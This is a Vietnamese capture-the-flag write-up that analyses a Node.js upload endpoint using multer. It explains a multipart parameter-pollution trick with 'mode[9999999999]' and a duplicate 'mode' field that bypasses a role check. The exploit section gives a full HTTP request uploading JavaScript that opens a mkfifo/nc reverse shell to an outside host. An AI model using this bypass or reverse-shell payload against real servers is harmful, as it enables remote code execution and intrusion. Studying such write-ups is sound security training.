--- tags: CTF --- # VietAn Web challenge 0x1 - writeup ## Analysis ```js= const upload = multer({ storage: multer.diskStorage({ filename: function (req, file, callback) { const mode = +req.body.mode; if (!mode) { // File is runnable for mode == 0 return callback(null, 'run-code.js'); } callback(null, 'code.js'); } }), limits: { fileSize: 5 * 1024 * 1024 }, // 5MB }); router.post('/', upload.single('code'), async (req, res) => { const { mode } = req.body; if (mode != req.locals.user.role) { return res.send({ response: '', error: 'WRONGMODE_ERR: current user cannot use that mode', }); } if (req.file?.filename.startsWith('run')) { console.log("done"); const output = await runNodeJsFile(req.file.path); if (output === 'Hello world') { return res.send({ response: 'Correct answer', error: '', }); } else return res.send({ response: '', error: 'Wrong answer', }); } res.send({ response: '', error: 'Sorry, this endpoint is restricted', }); }); ``` Mục đích là chạy đoạn code bên trong câu lệnh if `if (req.file?.filename.startsWith('run')) {` để chạy được code tùy ý. Tại dòng 4 - 5, `req.body.mode` được cast về dạng Number và sau đó phủ định bằng `!` để đưa về kiểu Boolean nên có thể qua được để trả về filename là `run-code.js` bằng cách cho `req.body.mode` là Array. Vấn đề nằm ở dòng 16, `mode` lúc này được so sánh bởi operator `!=` với `req.locals.user.role` (cụ thể là `1` - một Number). Sau quá trình fuzzing, em thử payload như sau thì có thể vượt qua được condition. ``` POST / HTTP/1.1 Host: upload-me.anctf.tk Cookie: id=REDACTED Content-Type: multipart/form-data; boundary=---------------------------140795878639794766872607545786 Content-Length: 579 -----------------------------140795878639794766872607545786 Content-Disposition: form-data; name="mode[9999999999]" 0 -----------------------------140795878639794766872607545786 Content-Disposition: form-data; name="code"; filename="code.js" Content-Type: application/octet-stream a -----------------------------140795878639794766872607545786 Content-Disposition: form-data; name="mode" 1 -----------------------------140795878639794766872607545786-- ``` Ý tưởng ở đây là với số lượng phần tử trong array quá nhiều nên chỉ trả về phần tử đầu tiên. ![](https://i.imgur.com/qNI8C4m.png) Lúc này server trả về như hình dưới ![](https://i.imgur.com/uEyReTa.png) Sau khi debug thì thấy `multer` sử dụng thư viện `busboy` để xử lí multipart upload. Thư viện này handle 2 event, 1 là `field`, 2 là `file`. Sự kiện `file` sẽ chạy hàm `indicateDone` để kết thúc xử lí ngay lập tức. ![](https://i.imgur.com/kM9oaDJ.png) ![](https://i.imgur.com/skQdbkl.png) Nên khi chạy vào middleware thì chỉ có 2 param đầu tiên là `mode[9999999999]` và `code`. ![](https://i.imgur.com/Sevtg5u.png) Sau khi vào handler chính của route, `mode` lúc này sẽ lấy cái param cuối cùng (behavior của Express). Vì `req.body` của `multer` được tạo ra bằng cách tạo 1 object mới :slightly_smiling_face: ??? ![](https://i.imgur.com/XQMbTga.png) Do đó lúc này `mode` là `1` nên qua được đoạn check này. ## Exploit Sau khi vượt qua được các điều kiện ở trên và chạy tới hàm `runNodeJsFile` để chạy code Javascript, viết đoạn mã để reverse shell! ``` POST / HTTP/1.1 Host: upload-me.anctf.tk Cookie: id=REDACTED Content-Type: multipart/form-data; boundary=---------------------------140795878639794766872607545786 Content-Length: 579 -----------------------------140795878639794766872607545786 Content-Disposition: form-data; name="mode[9999999999]" 0 -----------------------------140795878639794766872607545786 Content-Disposition: form-data; name="code"; filename="code.js" Content-Type: application/octet-stream require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc [IP] [HOST] >/tmp/f') -----------------------------140795878639794766872607545786 Content-Disposition: form-data; name="mode" 1 -----------------------------140795878639794766872607545786-- ``` Thành quả! ![](https://i.imgur.com/ejvkxAN.png)